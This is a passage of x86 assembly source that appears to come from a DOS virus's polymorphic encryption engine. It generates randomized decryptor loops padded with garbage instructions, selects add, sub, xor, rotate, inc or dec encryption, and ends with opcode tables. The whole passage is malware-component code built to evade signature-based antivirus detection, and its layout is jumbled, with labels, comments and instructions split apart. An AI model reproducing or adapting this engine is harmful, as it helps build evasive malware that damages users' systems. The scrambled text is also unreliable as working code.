gen_garbage ; garbage mov al,0E9h ; label: stosb mov ax,di sub ax,word ptr ds:[eng_loop_point] inc ax inc ax neg ax stosw call gen_garbage pop bx mov ax,di sub ax,bx mov byte ptr es:[bx-01h],al

use_jmp_short:

continue_gen:

jmp short continue_gen inc al inc al neg al mov ah,75h xchg ah,al stosw call gen_garbage mov al,0E9h stosb push di xor ax,ax stosw call gen_rnd_block pop bx mov ax,di sub ax,bx dec ax dec ax mov word ptr es:[bx],ax mov ax,di mov word ptr ds:[crypt_delta],ax add ax,word ptr ds:[delta] sub ax,word ptr ds:[eng_displace] mov bx,word ptr ds:[eng_init_ptr] mov word ptr es:[bx],ax add ax,(inf_byte_size and 0FFFEh)+02h mov bx,word ptr ds:[eng_cmp_ptr] mov word ptr es:[bx],ax ret

; Gen jne loop_point

; Block of rand data

; Ptr start of ; encrypted code... ; Ptr end of ; encrypted code...

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Perform encryption ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄgen_encryption: mov si,word ptr cs:[crypt_delta] mov di,si mov cx,(inf_byte_size+01h)/02h mov dx,word ptr cs:[eng_crypt_key] loop_do_crypt: lodsw db 0EBh,00h crypt_reverse dw 9090h stosw loop loop_do_crypt ret

; Clear prefetch ; Crypt/decrypt

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Generate random data block ³ ;³ On entry to rnd_fill_loop: ³ ;³ ES:DI -> buffer to be filled ³ ;³ CX -> buffer size in bytes ³ ;³ Warning: direction flag must be clear ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄgen_rnd_block:

mov ax,004Bh call rand_in_range add ax,0019h mov cx,ax

rnd_fill_loop:

call get_rnd stosb loop rnd_fill_loop ret

; Generate a block of ; random data

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Do encryption with add instruction ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄcrypt_add:

mov al,81h mov ah,byte ptr ds:[si] stosw mov ax,word ptr ds:[eng_displace] stosw mov ax,word ptr ds:[eng_crypt_key] stosw mov ds:[crypt_reverse],0C22Bh ret

; Disp ; Key ; sub ax,dx

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Do encryption with sub instruction ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄcrypt_sub:

mov al,81h mov ah,byte ptr ds:[si+01H] stosw mov ax,word ptr ds:[eng_displace] stosw mov ax,word ptr ds:[eng_crypt_key] stosw mov ds:[crypt_reverse],0C203h ret

; Disp ; Key ; add ax,dx

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Do encryption with xor instruction ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄcrypt_xor:

mov al,81h mov ah,byte ptr ds:[si+02h] stosw mov ax,word ptr ds:[eng_displace] stosw mov ax,word ptr ds:[eng_crypt_key] stosw mov ds:[crypt_reverse],0C233h ret

; Disp ; Key ; xor ax,dx

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Do encryption with rol instruction ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄcrypt_rol:

mov al,0D1h mov ah,byte ptr ds:[si] stosw mov ax,word ptr ds:[eng_displace] stosw mov ds:[crypt_reverse],0C8D1h ret

; Disp ; ror ax,dx

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Do encryption with ror instruction ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄcrypt_ror:

mov al,0D1h mov ah,byte ptr ds:[si+03h] stosw mov ax,word ptr ds:[eng_displace]

; Disp

stosw mov ds:[crypt_reverse],0C0D1h ret

; sub ax,dx

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Do encryption with inc instruction ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄcrypt_inc:

mov al,0FFh mov ah,byte ptr ds:[si] stosw mov ax,word ptr ds:[eng_displace] stosw mov ds:[crypt_reverse],9048h ret

; Disp ; dec ax

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Do encryption with dec instruction ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄcrypt_dec:

mov al,0FFh mov ah,byte ptr ds:[si+03h] stosw mov ax,word ptr ds:[eng_displace] stosw mov ds:[crypt_reverse],9040h ret

; Disp ; inc ax

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Inc pointer reg using add reg,0002h ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄptr_add0002h:

mov al,83h mov ah,byte ptr ds:[si+04h] stosw mov al,02h stosb ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Inc pointer reg using sub reg,FFFEh ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄptr_subFFFEh:

mov al,83h mov ah,byte ptr ds:[si+05h] stosw mov al,0FEh stosb ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Inc pointer reg using inc reg + garbage + inc reg ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄptr_inc_inc:

call gen_inc_reg call gen_garbage call gen_inc_reg ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Inc pointer reg using inc reg + garbage + add reg,0001h ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

ptr_inc_add:

call gen_inc_reg call gen_garbage call gen_add_0001h ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Inc pointer reg using add reg,0001h + garbage + inc reg ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄptr_add_inc:

call gen_add_0001h call gen_garbage call gen_inc_reg ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Inc pointer reg using inc reg + garbage + sub reg,FFFFh ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄptr_inc_sub:

call gen_inc_reg call gen_garbage call gen_sub_FFFFh ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Inc pointer reg using sub reg,FFFFh + garbage + inc reg ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄptr_sub_inc:

call gen_sub_FFFFh call gen_garbage call gen_inc_reg ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Inc pointer reg using add reg,0001h + garbage + add reg,0001h ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄptr_add_add:

call gen_add_0001h call gen_garbage call gen_add_0001h ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Inc pointer reg using sub reg,FFFFh + garbage + sub reg,FFFFh ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄptr_sub_sub:

call gen_sub_FFFFh call gen_garbage call gen_sub_FFFFh ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Inc pointer reg using add reg,0001h + garbage + sub reg,FFFFh ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄptr_add_sub:

call gen_add_0001h call gen_garbage call gen_sub_FFFFh ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Inc pointer reg using sub reg,FFFFh + garbage + add reg,0001h ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

ptr_sub_add:

call gen_sub_FFFFh call gen_garbage call gen_add_0001h ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Generate add reg,0001h ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄgen_add_0001h:

mov al,83h mov ah,byte ptr ds:[si+04h] stosw mov al,01h stosb ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Generate sub reg,FFFFh ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄgen_sub_FFFFh:

mov al,83h mov ah,byte ptr ds:[si+05h] stosw mov al,0FFh stosb ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Generate inc reg ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄgen_inc_reg:

mov al,byte ptr ds:[si+06h] stosb ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Generate from 2 up to 5 garbage instructions ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄgen_garbage:

loop_gen:

unable_2_gen:

push si inc byte ptr ds:[eng_recursive] cmp byte ptr ds:[eng_recursive],03h jae unable_2_gen mov ax,0003h call rand_in_range inc ax mov cx,ax push cx mov ax,(offset end_generator - offset generator_table)/02h call rand_in_range add ax,ax mov si,offset generator_table add si,ax call word ptr ds:[si] pop cx loop loop_gen pop si ret mov byte ptr ds:[eng_recursive],00h call gen_one_byte pop si ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Generate push/garbage/pop ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄgen_xpushpop:

call gen_one_push call gen_garbage call gen_one_pop ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Generate a conditional jump followed by some garbage code ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄgen_cond_jump:

call get_rnd and al,07h or al,70h stosb push di inc di call gen_garbage mov ax,di pop di push ax sub ax,di dec ax stosb pop di ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Generate push/pop pairs ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄgen_push_pop:

call gen_one_push call gen_one_pop ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Generate push instruction ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄgen_one_push:

mov ax,offset end_push - offset push_table call rand_in_range mov si,offset push_table jmp short store_byte

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Generate pop instruction ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄgen_one_pop:

mov ax,offset end_pop - offset pop_table call rand_in_range mov si,offset pop_table jmp short store_byte

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Generate one byte garbage ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄgen_one_byte:

mov ax,offset end_one_byte - offset one_byte_table call rand_in_range mov si,offset one_byte_table

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Just store one byte from a table ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄstore_byte:

add si,ax movsb ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Gen mov,add,sub,adc,sbb,xor,and,or reg,reg ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄgen_reg_reg:

mov ax,offset end_two_byte - offset two_byte_table call rand_in_range mov si,offset two_byte_table call store_byte mov ax,offset end_reg_reg - offset reg_reg_table call rand_in_range mov si,offset reg_reg_table jmp short store_byte

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Gen mov,add,sub,adc,sbb,xor,and,or reg,inm (01h) ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄgen_inm_01h:

mov ax,offset end_inm_01h - offset inm_01h_table call rand_in_range mov si,offset inm_01h_table call store_byte call get_rnd stosb ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Gen mov,add,sub,adc,sbb,xor,and,or reg,inm (02h) ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄgen_inm_02h:

mov ax,(offset end_inm_02h - offset inm_02h_table)/02h call rand_in_range mov si,offset inm_02h_table add ax,ax add si,ax movsw call get_rnd stosb ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Poly engine tables ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄgen_reg_table opcodes_si

equ this byte equ this byte db 0BEh db 84h

db 0ACh db 0B4h db 8Ch db 0C6h db 0EEh

; ; ; ; ; ; ; ; ; ;

mov add rol inc sub xor ror dec add sub

si,imm [si+nn],key [si+nn],01h [si+nn] [si+nn],key [si+nn],key [si+nn],01h [si+nn] si,imm si,imm

opcodes_di

db 46h db 0FEh equ this byte db 0BFh db 85h

db 0ADh db 0B5h db 8Dh

opcodes_bx

db 0C7h db 0EFh db 47h db 0FFh equ this byte db 0BBh db 87h

db 0AFh db 0B7h db 8Fh

opcodes_bp

db 0C3h db 0EBh db 43h db 0FBh equ this byte db 0BDh db 86h

db 0AEh db 0B6h db 8Eh

end_gen_reg crypt_table

end_crypt inc_ptr_table

